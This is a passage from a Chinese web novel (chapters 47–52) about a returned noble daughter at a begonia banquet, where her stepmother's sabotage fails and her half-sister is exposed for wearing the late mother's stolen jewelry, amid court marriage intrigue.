《从乡下接回侯府后,玄学大佬名满天下了》 第47章 落花 真正惊绝全场的是眉心那朵海棠花钿,用银线勾勒出五片花瓣,花瓣中央缀着米粒大的珍珠,远远看去,竟像是从皮肤里生长出来的一般,与浮光锦上的暗纹缠枝莲遥相呼应,说不出的和谐雅致。 “这是……” 英国公夫人手中的茶盏险些跌落,“语嫣?” 当年,英国公夫人和江语嫣可是闺中的手帕交,只是嫁人后联络少了,后来江语嫣病逝,英国公夫人还着实哭了几场。 有几个上了年纪的夫人都变了脸色,眼前少女活脱脱是当年镇国公家幺女江语嫣的模样,只是慕容浅的眉眼更清冷,有种高山之雪的感觉。 "这是老身的长房嫡孙女,慕容浅。她的生母。。。。。。" "老夫人的声音从慕容浅身后传来,带着岁月沉淀的威严,却在望向慕容浅时软了三分,"是镇国公府的幺女,我的媳妇江语嫣。" "浅丫头自幼体弱," 老夫人抬手替慕容浅拂去肩头的花瓣,低声道,"在青山观替母祈福十年,如今才得缘归府。" 这话既是说给慕容浅听的补偿,也是说给满座宾客听的托辞。 侯府将嫡女赶出家门养在道观十年的真相,终究要扯上孝道的幌子,才能堵住悠悠之口。 英国公夫人的目光落在慕容浅身上,"原来如此," 她意味深长地看了老夫人一眼,"我说怎么这样眼熟,竟与江家妹妹有八分相似。" “大姐今天真漂亮!” 慕容雪围着慕容浅团团转,稚气的眼睛里满是惊艳和钦佩。 她从未见过大姐这般模样 ,往日里总穿着道袍素裙,抱着剑在庭院里练剑,此刻却像是被月光浸透的海棠,明明站在阳光下,却泛着不属于人间的清辉。 葛氏夫人的帕子在掌心攥出褶皱,眼底却泛起欣慰的泪光。 英国公夫人也是眼眶发红,她想起江语嫣出阁那年,也是这般素白衣衫配白玉冠,只是眉心点的是朱砂痣。 如今慕容浅眉间的银线海棠,倒像是将江氏的风骨与侯府的贵气都融在了一处。 隔着月洞门,太子萧瑾卿站在流觞曲水边,手中端着琥珀杯,正与其他人谈论兵法,眼神却不时望内院飘过来。 "原来慕容小姐在道观修行," 太子萧瑾卿的声音从月洞门外隐隐传来,他对着身边几个贵家公子笑道"难怪有这般出尘的气质,倒像是不食人间烟火的仙子。" 裴子慕坐在轮椅上,面前的石桌上摆着棋盘,却无心对弈,目光穿过花格,落在慕容浅身上。 两人目光相撞,慕容浅微微颔首,裴子慕则举起茶盏,像是隔空敬了一杯。 慕容浅忽然感到衣袖一紧,转头只见侯府三等丫鬟绿枝正慌慌张张后退,手里还拿着一个花瓶。"姑娘赎罪!我不是有意撞到你的!" 绿枝的声音带着刻意的颤抖,却在抬头时与秦氏的目光相撞。 秦氏正躲在假山后,用帕子掩着嘴,紧紧盯着这边。 "大姐!你的衣袖!" 慕容雪的脆嗓门穿透花影。 只见她三步并作两步冲过来,茜色裙子在草地上拖出细碎的花影,"笨手笨脚的!若是勾坏了大姐的衣裳,仔细你的皮!" 慕容浅垂眸望去,只见衣袖果然被勾在一根斜出的海棠枝上,枝桠上还缠着半根银线。 慕容雪却不管这些,伸手就去拽衣袖:"我帮大姐扯下来!" 她的动作带着惯有的泼辣,却在触到浮光锦的瞬间放轻了力道,她记得母亲说过,这料子比蝉翼还薄。 "撕拉" 声响中,众人齐齐倒吸冷气。 秦氏的指尖掐进掌心,嘴角勾起冷笑。 她今早特意让嬷嬷在勾住衣袖的枝桠上抹了鱼胶,任谁扯都会撕裂布料,尤其浮光锦早就被划出暗缝。 她仿佛已经看到慕容浅衣服当众撕裂,衣衫不整的狼狈模样。 堂堂侯府贵女,闹出这样的事,传出去还不被人笑掉大牙。 然而预想中的撕裂声并未响起。 慕容浅的衣袖竟顺着枝桠滑了下来,雪蚕丝特有的韧性让布料毫发无损,反而牵动了整根花枝。 刹那间,千万片海棠花瓣簌簌坠落,像场粉色的雪,落在慕容浅的肩头、发间、裙裾上,甚至有几片恰好粘在她眉心的银线海棠花钿上,宛如天成。 慕容雪望着大姐周身纷飞的花瓣,忽然笑出声:"大姐成了花仙子啦!" 她伸手拂去慕容浅发间的花瓣,累丝白玉冠上东珠坠子晃出流光,惊起几只停在枝头的蝴蝶,围着慕容浅翩翩起舞。 一时间,在场的众人都看得痴了。 哗啦一声。 绿枝脸色苍白,手里的花瓶掉在地上摔得粉碎,她不敢抬头,生怕看到假山后秦氏那吃人的眼神。 "这丫头毛手毛脚的,冲撞了贵客。" 葛氏连忙打圆场,"来人,带绿枝去领二十板子,好好教教她规矩。" "慢着。" 慕容浅开口,声音像浸了春水的玉,"绿枝不是故意的,不过是被花枝勾住了。" 她转身看向假山,"倒是秦夫人,站在假山后做什么?莫不是也被花枝勾住了?" 秦氏猛地抬头,撞进慕容浅眼底的冷光。 那目光像极了江语嫣临终前的眼神,清凌凌的,能看透人心。 她张了张嘴,却听见太子的声音从月洞门处传来:"慕容小姐与花争艳,倒是让这海棠都失了颜色。" 阳光在秦氏的鸦青缠枝莲纹裙上投下斑驳的阴影。她立在假山后,周围的窃窃私语声像针尖般扎着她的耳膜,英国公夫人的冷笑、葛氏的睨视、慕容浅眼底的冷光,化作无数根细针扎在她后颈。 "老夫人…… 诸位夫人……" 秦氏深吸一口气,强行扯出微笑,从假山后迈步走出,向众人行礼。 "近日身上不好,染了风寒,未能出来招呼,还望各位海涵……" 老夫人的拐棍重重点在青石板上,发出 "咚" 的声响。 明明已经下了禁足令,此刻秦氏却站在这里,无疑是拿她的话不当回事。 可满堂的宾客和侯府的体面不容她当场发作,只能将怒意凝在眼底,化作两道冷冽的光,直直戳向秦氏。 第48章 嫡庶 忠勇伯府的二夫人,秦氏的妹妹秦芸从座上站起来,笑盈盈的上前拉住秦氏。 “姐姐,好久不见了。” 秦氏顺着她走到她桌坐下,嘴里和她寒暄着。 “姐姐怎么这么憔悴,莫不是在侯府受了委屈?听闻姐姐近日抱恙,连个贴心伺候的人都没有……” 秦芸摸着秦氏的手,故意大声嚷嚷。 秦氏看了一眼老夫人,没说话。 老夫人的脸色沉下来:“秦二夫人这话从何说起?侯府向来待人宽厚,秦氏身为侯府夫人,吃穿用度哪样缺了她?何来受委屈一说,莫要胡乱揣测坏了侯府的名声。” 秦芸却不慌不忙,抬眼看向慕容浅,语气里满是惋惜:“原是我多心了。只是听说大姑娘近日回来了,按理说母亲身体不适,做女儿的应该侍疾,怎么我听说都不曾探望一二,如此张狂,怕是失了侯府的规矩……” 她的话音未落,周围便响起一阵窃窃私语。 秦氏幽幽叹了一口气,半遮半掩的附和:“妹妹,你快别说了,我何德何能,能让大姑娘侍疾,自大姑娘回府,我可是连院门都不出了,就怕哪里做的不好,惹大姑娘生气……” 几位不知内情的夫人看向慕容浅的眼神立刻就变了。 虽说不知道慕容浅为什么要在道观十年,但是她刚一回府就逼得当家主母闭门不出,可见跋扈。 没想到那么一个冷清脱俗的人儿,竟是如此霸道呢。 “真可笑!” 英国公夫人突然出声,她身着宝蓝色织金缠枝牡丹裙,气场十足。她冷冷扫了秦芸和秦氏一眼,“侯府的主母,那是镇国公府的幺女江语嫣,是名正言顺的嫡妻!秦氏不过是填房,算哪门子主母?嫡女需要伺候庶母?没听过谁家有这样的规矩。” 她看向秦芸笑道:“原来忠勇伯府行的是这样的规矩吗?改天我倒要上门向忠勇伯夫人好好请教请教。” 秦芸的脸色白一阵红一阵,她没想到英国公夫人会公然维护慕容浅。 老夫人缓缓开口:“英国公夫人说得是。若论起孝心,阖府没有比得上浅丫头的,前几天我重病卧床,若不是浅儿不顾性命,深入寒潭寻得灵药,我这条老命早就没了。这般孝心,岂是旁人能比的?” 老夫人的话如同一记重锤,砸得秦氏和秦芸说不出话来。 慕容浅上前一步,福身行礼,声音清亮:“祖母言重了。孙女身为侯府嫡女,为祖母分忧解难,本就是分内之事。倒是秦夫人,若真是身体不适,何不让府中的大夫好好瞧瞧?可别耽误了病情。” 她顿了顿,“只是我看夫人倒不像是身体不舒服,倒像是心里不舒服似的,难道是因为我回来之事而感到不快吗?” 她的语气温柔,却暗藏锋芒,听得秦氏姐妹俩脸色一阵红一阵白。 这么多夫人在场,秦氏即使再恨慕容浅也不会放到脸上,连忙说道,“怎么会呢,大姑娘多心了。” 秦芸咬了咬嘴唇,还想再说些什么,却见老夫人不耐烦地挥了挥手:“好了,莫要再提这些扫兴之事。今日是海棠宴,大家且好好赏花、吟诗。” “各位夫人赎罪,我来迟了……” 日头斜照在雕花月洞门上,慕容笙刻意踩着满地海棠花瓣,姗姗来迟。 她身着一袭明黄织金孔雀纹大袖裙,裙摆上缀满的东珠随着步伐相撞,发出清脆的叮咚声。 头戴一套珍珠头面,十二颗浑圆东珠串成的流苏沉甸甸垂在额前,随着步伐轻晃,撞出清越如磬的声响,金丝缠枝莲纹发簪上嵌着的夜明珠泛着冷冽荧光。 只是她又画蛇添足的在鬓边戴了一朵白牡丹。 碗口大的花瓣层层叠叠,沉甸甸压在珍珠头面一侧,将整排东珠流苏都坠得歪斜。 众人都被她浑身的珠光宝气闪的睁不开眼,但是眼神却都不由自主的被那套珍珠头面吸引去。 “各位夫人恕罪,给大家请安。” 慕容笙娇笑着福身,眼波流转间满是得意。身上佩戴的香囊,浓郁的龙涎香顺风飘来,把满园花香都压下去,越发显得气味混杂。 英国公夫人皱着眉头捂住鼻子,韩国夫人别过脸去,连向来与她交好的昌平郡主窦娇娇都露出尴尬的神色。 慕容浅站在老夫人身旁,看着这刺眼的装扮,嘴角勾起一抹若有若无的冷笑。浮光锦的素白与眼前的金碧辉煌形成鲜明对比,更衬得慕容笙的装扮艳俗不堪。 老夫人看着她的穿着和头上的珍珠,的脸色早已阴沉得能滴出水来,拐杖重重砸在青石板上,发出 “咚” 的巨响:“成何体统!谁准你穿成这样出来的?还不快给我回屋换了!” 慕容笙一愣,脸上的笑容瞬间僵住。 她不可置信地看向老夫人,又转头望向母亲秦氏,却见秦氏脸色惨白如纸,额头上渗出细密的冷汗。 秦芸更是慌了神,连忙上前拉住她的手,声音里带着掩饰不住的焦急:“笙儿,你糊涂啊!今日是海棠宴,讲究的是清雅素净,哪能穿得这般张扬?你看看你姐姐,” 她朝慕容浅的方向瞥了一眼,“浮光锦配白玉冠,多端庄大方。你还不快去换身衣裳,莫要再惹老夫人动怒!” 说着,不住地给她使眼色。 慕容笙目光扫过众人嫌弃的眼神,再看看慕容浅素净却贵气逼人的装扮,只觉得一阵羞辱感涌上心头。 她咬着嘴唇,眼眶瞬间红了,指甲深深掐进掌心:“祖母,我……” “不必说了!” 老夫人不耐烦地挥了挥手,“一点没有大家闺秀该有的端庄内敛,若不是看在你年纪小的份上,今日定要好好罚你!还不快滚!” 她转身向众家夫人赔笑,“小孩子家贪靓,就爱把贵重物件都往身上堆,让大家见笑了。” 她拉过慕容浅,“还是浅丫头懂事,瞧瞧这通身的气派,这才是侯府女儿该有的端庄模样。” 第49章 颤动 慕容笙的指甲深深掐进掌心,十二串东珠流苏随着她剧烈的喘息微微颤动。 她委屈地望向母亲秦氏,却见秦氏三步并作两步冲过来,一把揪住她的手腕,声音里带着压抑的颤抖与愤怒:“不是千叮咛万嘱咐不让你戴这头面?你怎么敢偷着带出来!还这般招摇过市,眼里还有没有规矩?还不快回房去换!” 秦氏的指甲几乎掐进女儿皮肉里,目光却心虚地避开老夫人如鹰隼般的视线。 就在慕容笙红着眼眶转身欲走时,一道清冷嗓音突然刺破凝滞的空气:“慢着。” 慕容浅莲步轻移,浮光锦上的暗纹缠枝莲随着步伐若隐若现,她仰头望着那套华贵的珍珠头面,凤目微眯:“妹妹这头面,倒让我想起些旧事 —— 母亲的陪嫁清单里,确有一套十二东珠累丝簪,是镇国公府聘了扬州三十位巧匠,耗三年光阴才制成的。” “可不是嘛!” 英国公夫人重重合上鎏金团扇,震得案上茶盏轻晃。 她打量着秦氏母女,“当年江家妹妹大婚,我可是亲眼见她戴着这头面上的花轿!这头面的每颗东珠都是南洋进贡的极品,发簪上的金丝缠枝莲纹,分明是扬州巧匠的独门绝技,除了镇国公府,京城哪家还有这等财力费工费时为女儿打造如此精巧的首饰?” 慕容浅垂下眼眸,“我回来后清点母亲的遗物,这一套珍珠头面和其他几样贵重首饰都不见了踪影,没想到今天妹妹戴了出来。” 她声音清亮,“妹妹爱漂亮无可厚非,可是也不能不问自取呀,更何况这是我母亲的遗物。” 英国公夫人斜着眼看秦氏,“当年的嫁妆首饰那么多人看着进了侯府,找不到了肯定就还在府里,正所谓日防夜防,家贼难防。” 花坞内顿时响起窸窸窣窣的私语,像无数春蚕啃食桑叶。 英国公夫人的话如同一把火,瞬间点燃了在场夫人们积压已久的情绪。 韩国夫人 “嚯” 地站起身,护甲重重拍在檀木桌上:“我当是什么稀罕物,原是偷来的!这世道,续弦竟比正妻还威风,当我们这些明媒正娶的都是摆设不成?” 她话音未落,礼部侍郎夫人也跟着冷笑:“可不是!我家那通房丫头,见我戴了新镯子,眼珠子都快瞪出来了,若没规矩约束,指不定也要学这等偷鸡摸狗的勾当!” 满堂窃窃私语化作汹涌浪潮。周围几名贵妇纷纷点头,有人小声嘀咕:“听说秦氏这些年没少往自己房里搬东西,侯府嫡女的东西都敢抢,还有什么做不出来?” “老夫人,这事儿可不能就这么算了!”英国公夫人突然开口,手中的护甲泛着冷光,“江家妹妹当年风光大嫁,这头面是镇国公府的颜面,如今竟被人占了去,传出去侯府的名声还要不要?” 她的话引来一片附和,“镇国公为国驻守边疆多年劳苦功高,没想到女儿留给外孙女的嫁妆都被人霸占了,若他老人家知道,不知道会气成什么样!老夫人,您可不能姑息养奸啊!” 慕容浅静静地站在一旁,看着这场众怒难犯的戏码。 浮光锦上的暗纹缠枝莲随着微风轻轻晃动,恰似她此刻平静外表下翻涌的暗潮。 她知道,这些夫人们的愤怒,不仅仅是为她母亲鸣不平,更是在宣泄对后院妾室越矩行为的不满。 秦氏脸色惨白如纸,双腿发软几乎站立不住。 她张了张嘴,想要辩解,却被此起彼伏的声讨淹没。 慕容笙早已哭成泪人,珍珠头面随着她的抽泣不停晃动,东珠流苏扫过脸颊,划出一道道红痕。 周围夫人们的目光如芒在背,有人指着她窃窃私语,有人满脸嫌恶地别过脸去,仿佛她身上带着什么脏东西。 老夫人的脸色阴沉得可怕,拐杖重重杵在地上:“都别说了!侯府的事,自有侯府的规矩!” 她的目光扫过秦氏母女,像两道冰冷的刀子,“秦氏,你且说说,这头面究竟是怎么回事?” 秦氏膝盖一软,“扑通” 跪在地上,冷汗浸透了后背的衣衫:“老夫人明鉴,妾身……妾身也是心疼笙儿,想着她到了爱美的年纪……” 她的辩解苍白无力,换来的是满堂更响亮的嗤笑。 英国公夫人道:“秦夫人这借口可编得不高明。若真为孩子好,该教她守规矩,而不是纵容她偷拿嫡母遗物。” 眼见整个宴席都被搅得一团乱,葛氏虽然也震惊于秦氏母女的无耻,但终归要顾及侯府脸面。 她连忙上前轻轻安抚老夫人剧烈起伏的胸口:“老夫人消消气,仔细气坏了身子!” “各位夫人且听我说。” 葛氏侧身挡住秦氏母女,展开帕子擦了擦汗,“笙丫头到底是年轻贪玩,想必是偷偷进了库房,把嫡母的物件当了普通首饰。” 她笑着,“侯府向来赏罚分明,该罚的定不轻饶 —— 只是今日是海棠宴,总不好让这些事坏了大家兴致,此事宴席过后自然是要查清的。” 韩国夫人冷哼一声,“葛夫人这话轻巧,嫡母遗物被占,传出去侯府成何体统?” 话音未落,满堂又是一阵窃窃私语。 葛氏转头握住慕容浅的手:“浅儿素来心善,善待姐妹们,定不愿因此事扰了阖家安宁吧?” 她目露恳求,又看向老夫人,只见老夫人也是气得快要昏厥过去的样子。 慕容浅轻勾嘴角,今日秦氏和慕容笙的脸也是丢尽了,只怕不出三日就要传遍上京。 “妹妹贪玩,也得有个限度,今日若不是当众戴出来,我还不知道母亲的嫁妆都去了哪里,还有其他几样贵重首饰……” 老夫人拄着拐杖的手微微颤抖,她盯着秦氏母女青白的脸色,重重一跺脚:“来人!送笙姑娘回房好生‘清点’物件!有什么错拿了人的赶紧拿出来还给人家!” “若是再让我发现不该在她房里的东西……” 尾音拖得极长,惊得廊下的鹦鹉扑棱棱乱飞。 第50章 铺路 慕容笙还欲辩解,却被秦氏死死拽住手腕。 秦氏将慕容笙头上的珍珠头面拔下来,膝头一软,带着女儿 “扑通” 跪地,额角几乎要贴到青石板上:“老夫人息怒!是妾身管教无方!” 能将此事用慕容笙年纪小,错拿了已经是宽宏大量了,若是继续深究下去,只怕连她都完了。 葛氏见状,连忙上前扶起秦氏,嘴里却不饶人:“秦夫人也别太自责,往后教导孩子,可得把嫡庶规矩掰扯清楚。” 说着又对众人福身,“还请各位夫人移步沁芳榭,新制的海棠酪该凉了。” 英国公夫人 “哼” 了一声,到底念着葛氏的面子,收了团扇:“今日且看在老夫人和葛夫人面上。” 她临走前狠狠剜了秦氏一眼,“但若再有下次,当年的旧账,我定要替江妹妹好好算算!” 待众人散去,慕容浅望着秦氏母女狼狈离去的背影,指尖轻抚过那套珍珠头面。葛氏夫人不知何时走到她身旁,轻声道:“浅儿,有些事急不得。” 慕容浅答道,“无妨,我自会一一清算。” 而秦氏母女刚回到自己的院落,木门关上的瞬间,慕容笙用力拔下鬓边的白牡丹扔到地上,花朵委顿坠地,如同她惨白的脸。 “母亲!” 她尖叫着扑进秦氏怀里,“祖母为什么要当众羞辱我?不就是一套头面……” 让她在众人面前丢了脸,以后她还怎么在上京呆下去。 “怪你自己!” 秦氏推开女儿,气得倒仰,“我明明锁在暗格里,也告诉过你不许戴,你怎么敢偷拿!” 她转身打开暗格,果然见朱漆匣子大开,另外几样属于江语嫣的首饰在匣子里泛着冷光。 “这下好了,赔了夫人又折兵,这些都得还回去。” 慕容笙踉跄着后退,指甲紧紧抠住桌边:“我哪知道那是……母亲你也没说清楚!” 她看向匣子眼都红了,“凭什么好东西都该是慕容浅的?她不过仗着嫡女身份……” “好了!” 秦氏烦躁的重重关上匣子,“你怎么还是这么沉不住气,你看慕容浅那个死丫头,多会装,你就不能跟她学学吗?” 慕容笙跺着脚尖叫:“我不管!她能戴累丝白玉冠,我就不能戴珍珠头面?侯府的库房又不是她慕容浅的私产!” 她抓起案上的珊瑚笔架砸向墙壁,“分明是慕容浅那个贱人故意算计!她根本不在乎头面,就是要让我丢脸!” 笔架摔成碎片,惊得窗外的栖鸟扑棱棱乱飞。 秦芸笑着把两人分开,将慕容笙拉到一边坐下,“笙儿这脾气,倒像极了姐姐当年……” 她意味深长地瞥向慕容笙,“不过咱们得学聪明些,嫡庶之争从来不在表面风光。” 慕容笙的眼睛还盯着匣子,“这些首饰真的全都要还回去?能不能还一半?” “不得不还。” 秦氏将匣子放在桌上,“你没听到刚才老夫人说的,要亲自清点,不还回去哪会轻易放过我们母女。” “姐姐莫要慌。” 秦芸安慰秦氏,“咱们输在头面上,却能赢在婚事上。区区几件首饰算什么,笙儿能趁海棠宴找个好亲事才是最重要的。” 秦氏神情一凛,“据说圣上最近有意为摄政王物色人选……” “正是。” 秦芸眼中闪过精光,“圣上心忌他兵权在握,选妃既要门第匹配,又不能让外戚添翼。如今朝中议论,首当其冲便是侯府与英国公府。” 慕容笙浑身一颤,“我可不要嫁给那残废!” 隔着月洞门,她远远的看过裴子慕一眼。 就一眼,多一眼都不敢看,因为裴子慕太冷了,周身仿佛有三尺寒冰,还有那眼神,像鹰一样,那是上过战场杀过人的眼神。 她忽然打了个寒颤 —— 那样冰冷的人,那样带着尸山血海气息的眼神,她死也也不要嫁给他! 秦芸安慰的拍拍她的手,“要说起摄政王,那也是一等一的尊贵,又有兵权,只是圣上忌惮他,说不定什么时候就处置了,咱们笙儿可不能嫁过去受连累。” 想起裴子慕,秦芸也是打了个寒颤。 “摄政王看起来可不是好相与的,笙儿就算嫁过去也拿不住他。” 秦氏冷笑,“不是还有慕容浅吗,当初为什么接她回来,就是让她为笙儿铺路。” 她一提,侯爷就心动了,牺牲一个十年未见的女儿,换来和摄政王的联姻,若是摄政王不倒,他们侯府自然跟着享福,若是摄政王倒台,他们也可以立刻和慕容浅划清界限。 “就是,那个什么摄政王,一看就是既残暴又冷血的性格,哪比得上太子殿下的风仪……” 慕容笙的脸不由自主的红了,想起刚才远远看到的太子萧瑾卿。 秦芸忽然轻笑,指尖划过慕容笙滚烫的脸颊:“傻孩子,咱们不争一时的珠光宝气。” 她从袖中掏出张宣纸,上面写着太子的喜好。 “明日诗会,你只需记住,太子殿下最是喜欢柔顺温婉的女子……” 海棠宴第二日,珍珠头面的风波随着秦氏母女的退场而消沉下去,老夫人和葛氏为了弥补,越发卖力的招呼起宾客。 内院的花坞里,女客们或立或坐,皆被满园春色吸引。 英国公夫人倚着朱漆栏杆,手中团扇半掩面容,目光在各色海棠间流连:“这‘醉西施’开得真是秾丽,花瓣层层叠叠,倒像是美人微醺时泛红的脸颊。” 身旁的韩国夫人频频点头,指尖轻抚过雪白的花瓣,赞叹道:“此花白得纯净,恰似冬日初雪,无一丝杂色,难怪人人称赞。” 窦娇娇蹲在花坞角落,好奇地盯着一株双色 “二乔” 海棠,发间金步摇随着动作轻轻晃动:“这花儿也太神奇了,一朵之上竟有粉白两色,莫不是花神特意点染?” 她身旁的小丫鬟连忙递上锦帕,生怕主子沾到泥土。 慕容雪则全然不顾淑女仪态,干脆跪坐在地上,将各色花瓣收集起来,打算做成花球:“你们瞧,把‘醉西施’和‘玉玲珑’混在一起,准能拼出个更好看的花样!” 第51章 太子 不远处的回廊下,几位贵女正围在一起簪花斗草。 她们鬓边插着精心挑选的海棠,互相攀比着谁的花朵更娇艳、谁的搭配更雅致。偶尔有花瓣飘落,便惹得一阵娇笑,纷纷伸手去接,仿佛接住的不是花瓣,而是春日的好运气。 外院的男客们虽与女宾隔了月洞门,却也未辜负这良辰美景。 他们或立于海棠树下,举杯吟诗,赞叹海棠的风姿;或围坐在流觞曲水边,欣赏着随波漂流的海棠花瓣,谈论着诗文典故。 太子萧瑾卿手持白玉杯,望着纷飞的海棠,似在沉思。 裴子慕坐在轮椅上,目光穿过花影,不经意间与内院方向交汇。 慕容浅独自倚着朱漆栏杆,浮光锦裙裾垂落在地上,倒像是把一泓月光裁成了衣裳。 亭外海棠开得正好,粉白花瓣簌簌落在她肩头,却被她抬手轻轻掸去,仿佛不愿沾染这俗世的喧嚣。 “姑娘好雅兴。” 温润如玉的嗓音从身后传来。 慕容浅转身,只见一名身着明黄织金蟒纹长袍的年轻人负手而立,腰间配着羊脂玉佩,上有龙纹。 那人剑眉星目,嘴角噙着恰到好处的笑意,可慕容浅望着他眼尾那抹若有若无的阴鸷,心底已警铃大作。 这面相看似温润谦和,眉骨高耸却藏锋,眼瞳深处泛着冷芒,分明是个利己至上的狠角色。 “太子殿下。” 慕容浅淡淡行礼,刻意后退半步拉开距离。 萧瑾卿却仿若未觉她的疏离,上前一步笑道:“早闻慕容小姐才貌双全,今日一见,果然名不虚传。这海棠虽美,却也不及小姐半分。” 他目光在慕容浅身上流连,心底暗自盘算,侯府嫡女姿容出众,若能纳为侍妾,既添美眷又能制衡侯府。 慕容浅将对方眼底的算计看得真切,语气愈发清冷:“太子谬赞,我不过粗通文墨,担不起殿下盛誉。” 她侧身避开萧瑾卿灼灼的目光,余光瞥见小桃捧着扇子在廊下焦急张望。 萧瑾卿却不依不饶,继续道:“听闻慕容小姐擅诗词,本太子书房藏有不少孤本,改日可邀小姐一同品鉴。” 他故意放软语调,带着几分诱哄之意,“与美人共赏诗书,想来是件雅事。” “男女有别,不敢逾矩。” 慕容浅垂眸行礼,素白裙裾扫过满地落花,“况且家中规矩森严,祖母恐不许我随意出入外府。” 她言辞委婉,却字字透着拒绝。 萧瑾卿嘴角的笑意僵了僵,面上却仍维持着风度:“既如此,那便期待与慕容小姐的下一次相见。” 他拂袖离去时,脚步比来时重了几分,腰间玉佩撞在亭柱上,发出清脆却冰冷的声响。 待他走远,小桃才敢小跑过来:“小姐,那可是太子……” “越是位高权重,越要小心。” 慕容浅望着萧瑾卿远去的背影,指尖轻抚过眉心的花钿。 “他今日这般示好,不过是存了别样心思。往后见着此人,记得绕道走。” 萧瑾卿甩了甩衣袖,鎏金蟒纹在暮色里泛着冷光。 方才慕容浅那副拒人于千里之外的模样,像根刺扎在他心头。 明明是个母亲去世的孤女,不过顶着侯府嫡女的名头,竟也敢对他这般冷淡? 萧瑾卿指腹摩挲着腰间羊脂玉佩,他暗自咬牙 ,这京城还没有他得不到的女子,慕容浅越是不识抬举,他偏要让她低头。 “殿下留步。” 一道柔媚婉转的声音自花影中传来。 萧瑾卿挑眉望去,只见一名女子莲步轻移,明黄织金裙裾扫过满地海棠,鬓边东珠流苏随着步伐轻轻晃动,映得她眉眼含春。 女子盈盈下拜,声音甜得像浸了蜜:“方才远远望见殿下风采,臣妾一时失了神,冒昧打扰,还望殿下赎罪。” 萧瑾卿目光在她身上流连,唇角勾起一抹笑。比起慕容浅的清冷,眼前这女子倒多了几分烟火气。 “免礼,你是何人?” 他刻意放软语调,伸手虚扶。 “臣妾慕容笙,家父慕容延。” 慕容笙顺势起身,指尖若有若无擦过他的手背,“殿下金枝玉叶,生得这般相貌不凡、气度卓然,难怪人人都说殿下英明神武,将来必是中兴之主。” 她仰头望着他,眼中满是倾慕,“今日得见殿下,才知什么叫‘陌上人如玉,公子世无双’。” 这番夸赞让萧瑾卿心头大悦,先前被慕容浅扫了的面子,此刻全找补了回来。 他打量着慕容笙精心装扮的模样,艳丽中带着几分娇憨,比慕容浅好拿捏多了。“原来你也是侯府小姐。” 他笑着点头,“倒是本太子眼拙,竟不知侯府还有这般可人儿。” 慕容笙脸颊绯红,低垂眉眼:“能得殿下夸赞,是臣妾的福气。日后若有机会,臣妾还想向殿下讨教诗词歌赋呢。” 她偷偷抬眸,见萧瑾卿嘴角笑意未减,心中暗喜,这第一步,算是走对了。 萧瑾卿望着慕容笙离去的背影,把玩着腰间玉佩。 比起慕容浅那朵高岭之花,眼前这朵解语花倒有趣得多。 他转身迈步,衣袂带起一阵风,卷起地上几片海棠花瓣,“慕容笙……” 他默念这个名字,眼中闪过一丝算计,“倒也值得一探。” 海棠宴上的喧嚣渐远,慕容浅对这种贵妇人和贵女之间的聚会丝毫不感兴趣,她沿着花廊准备绕路回房。 当然是不想被老夫人和葛氏看见,否则她们又要把她拉到人前,像展示什么稀罕物一样展示她。 这侯府中的生活,还不如在道观里来的轻松。 鞋尖不经意间踢到一颗小石子,石子骨碌碌滚向前方,撞上了轮椅的轮轴。 “花开正好,慕容姑娘怎么不多赏一时?” 低沉的声音从阴影中传来。 裴子慕斜倚在廊柱旁,玄色蟒纹衣袍与夜色融为一体,唯有腰间的螭纹玉佩泛着幽幽冷光。 他手中把玩着一支海棠,花瓣在指尖轻轻揉搓,渐渐渗出汁液。 慕容浅挑眉,“王爷不也躲开人群,来这僻静处?” 她目光扫过他手中残败的海棠,又落在他膝上的旧伤处,“莫不是,腿伤又发作了吗?” 第52章 诗会 裴子慕轻笑一声,随手抛掉海棠:“本王倒是没想到,慕容姑娘和太子相谈甚欢,还能记得我的腿伤。” 他的语气平淡,却带着一丝不易察觉的意味,轮椅缓缓向前,碾过满地落花。 慕容浅怔了怔,随即反应过来他指的是刚才的事,不由嗤笑:“不过是些无关紧要的寒暄罢了。王爷若是无聊,不如多关心关心自己的身体。” 她伸手接下披风,盖在裴子慕的腿上,“虽说天气已回暖,但仍有春寒,王爷前几天刚出了寒潭,可得当心。” 春风掠过回廊,吹得花树轻轻摇晃。 裴子慕垂眸感受膝上的温度,忽然觉得这海棠宴也没那么无聊了。 “知道了。” 他收回目光,转动轮椅准备离开,“慕容姑娘也早些回房吧,免得……再遇上些‘无关紧要’的人。” 慕容浅看着他远去的背影,摇摇头重新提起裙摆。 她没看见裴子慕嘴角若有若无的笑意,也没注意到他悄悄摩挲披风的手指。 暮春的晚风裹着海棠香掠过游廊,慕容浅刚出院门,忽听得身后传来细碎脚步声。 转身时,慕容玉莲步轻移,发间珍珠步摇随着动作轻轻晃动,温婉笑道:“大姐姐原来在这儿,可让我们好找。” 慕容雪蹦蹦跳跳跟在后面,杏眼亮晶晶的,发间绒花随着动作一颤一颤,像两只扑棱的蝴蝶。 她一把抱住慕容浅的胳膊,整个人挂上去撒娇:“好姐姐,祖母和母亲说了,今晚的诗会少了谁都不行,尤其是你!我们俩找遍了整个园子,腿都快走断啦!” 说着还夸张地晃了晃慕容浅的手臂。 慕容玉微微福身,声音轻柔:“大姐姐,祖母特意吩咐,说诗会缺了你,总觉得少了几分雅致。母亲也在花厅等着,说是有新制的海棠酥,就等你去尝鲜呢。” 她温柔地整理着慕容雪被风吹乱的发丝,眼里满是期待。 慕容浅正要推辞,慕容雪已经拽着她的袖子转起圈来,裙摆飞扬间带起满地花瓣:“去嘛去嘛!要是你不去,我们回去可要挨罚的。” 她眨巴着大眼睛,可怜巴巴地望着慕容浅,“我还想和姐姐们一起看月亮、对诗呢!” 看着慕容雪撒娇的模样和慕容玉恳切的眼神,慕容浅无奈地叹了口气:“罢了,容我回房换身衣裳。” “不用不用!” 慕容雪欢呼着拉住她就走,“大姐姐现在这样就好看极了!” 慕容玉则在一旁掩嘴轻笑,适时扶住险些被拽得踉跄的慕容浅。 三人的身影在灯笼光晕里晃动,远处花厅传来隐隐约约的丝竹声,晚风卷起满地海棠,追着她们的裙裾,似是也急着去凑这场诗会的热闹。 三人到了花厅,只见里面烛火通明,熏香袅袅。 葛氏手持一支海棠花枝,盈盈一笑,环视众人:“今日这场诗会,咱们玩个有趣的。击鼓传花诸位都晓得,鼓声停时,花在谁手中,便要作一首应景的诗。诗好诗坏不重要,图的就是个乐子。” 众人都说新雅有趣,葛氏轻轻抬手,示意乐师开始。 鼓声骤然响起,清脆的节奏中,那枝娇艳的海棠花如同一尾灵动的红鱼,在众人席间快速传递。 女眷们的笑声、惊呼声与鼓声交织,发间的珠翠随着动作轻晃,流光溢彩。 